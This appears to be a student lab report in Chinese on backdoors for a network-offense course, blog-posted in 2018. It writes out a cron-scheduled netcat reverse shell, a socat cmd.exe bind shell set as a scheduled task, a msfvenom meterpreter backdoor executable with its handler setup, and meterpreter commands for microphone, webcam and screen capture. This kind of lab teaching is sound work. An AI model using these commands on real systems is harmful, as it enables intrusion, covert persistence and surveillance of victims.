20155317王新玮《网络对抗》Exp2 后门原理与实践

 20155317王新玮《网络对抗》Exp2 后门原理与实践

一、实验内容 

(1)使用netcat获取主机操作Shell,cron启动

(2)使用socat获取主机操作Shell, 任务计划启动 

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell 

二、基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

(2)例举你知道的后门如何启动起来(win及linux)的方式?

(3)Meterpreter有哪些给你映像深刻的功能?

(4)如何发现自己有系统有没有被安装后门?

 三、实验过程

(0)window linux 互相获取shell

用windows获取linuxshell

首先使用ipconfig查看ip:192.168.85.132

 

使用ncat.exe程序监听本机的5317端口:

 

在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5317端口:

Windows下成功获得了一个Kali的shell,运行ls指令如下:

实验成功

用linux获取windows shelll

过程与之前的类似,在linux环境下用ifconfig查看IP192.168.85.129

在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5236`端口:

Kali下可以看到Windows的命令提示,可以输入Windows命令:

实验成功。

(1)使用netcat获取主机操作Shell,cron启动

先在Windows系统下,监听5317端口:

 

在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

 

crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:

 

在最后一行添加46 * * * * /bin/netcat 10.1.1.141 5317 -e /bin/sh,意思是在每个小时的第32分钟反向连接Windows主机的317端口,就会启动cron。设置成05的原因是我当时的时间是19点03,为了能立马看到效果,所以我将时间设置在了2分钟以后:注意 *与*之间一定要带空格。

 在完成这个之后,在每个小时的46分钟,windows都会获得kali的shell。

 

(2)使用socat获取主机操作Shell, 任务计划启动 

 打开控制面板,搜索任务计划,如果找不到就选择帮助

在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5317 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口5317,同时把cmd.exe的stderr重定向到stdout上:

 

创建完成之后,右键运行它。

 

在kali中输入socat - tcp:192.168.85.132:5317就可以成功

socat - tcp:windowsIP:端口 

 

 

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

具体步骤为:

msfconsole:进入msf
use exploit/multi/handler:进入handler模式
set payload windows/meterpreter/reverse_tcp:设置payload
show options:查看当前信息状态
set LHOST 192.168.18.128:设置LHOST
set LPORT 5236:设置LPORT
exploit:MSF开始监听

 

输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.134 LPORT=5317 -f exe > 20155317.exe生成后门程序:

 

通过nc指令将生成的后门程序传送到Windows主机上:(在做这一步之前先将本机的杀毒软件和防火墙关闭)

 

其实。。。在这还出现了坑爹的情况。。

 

(唉。。。虽说注入dll也很容易,但是。。。

长话短说,最后下了个360安全卫士,一开始我还在自己下各种库,发现毛用没有,最后在测试的时候,发现还是缺dll,但是360在电脑上发现了异常检测,也就是出现了缺失dll的警告框,直接自动给装了一个微软常用dll,然后就搞定了)

在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

为了打开这个,也是历经一番磨难。。。

一开始它是这样的。。。。:

出现了RangeError ,刚刚修好win7的我内心又要崩塌了,上网搜搜吧。。:

最后找到了一个这样的帖子:

 

链接如下:http://www.kali.org.cn/thread-31012-1-1.html,要开始读英文了。。。意思就是他改变了这个文件的值,我开始了尝试:

找了文件并且成功修改了,但是。。。

啊!。。。我开始了绝望,偶然发现一点(但是经过后来实践,是我一开始没有改正确,有两个“20”需要更改,改完之后便可以运行)

 

内心绝望的我只能换成64位kali重做。。

本实验除了步骤上,我认为最重要的一点就是 LHOST之后写的IP是kali本机的IP,在kali环境下输入的nc命令是用来连接windows,所以需要填写windows的IP

 

终于弄好了    开始了操作。。嘿嘿嘿

 

在打开wndows后门程序后

 

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 

 使用record_mic指令可以截获一段音频:

 

使用webcam_snap指令可以使用摄像头进行拍照:

 

 

使用webcam stream指令可以使用摄像头进行录像

  

使用screenshot指令进行电脑抓图

 

 

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell 

 

四、实验总结

 

posted @ 2018-03-28 09:45  20155317wxw  阅读(283)  评论(0编辑  收藏  举报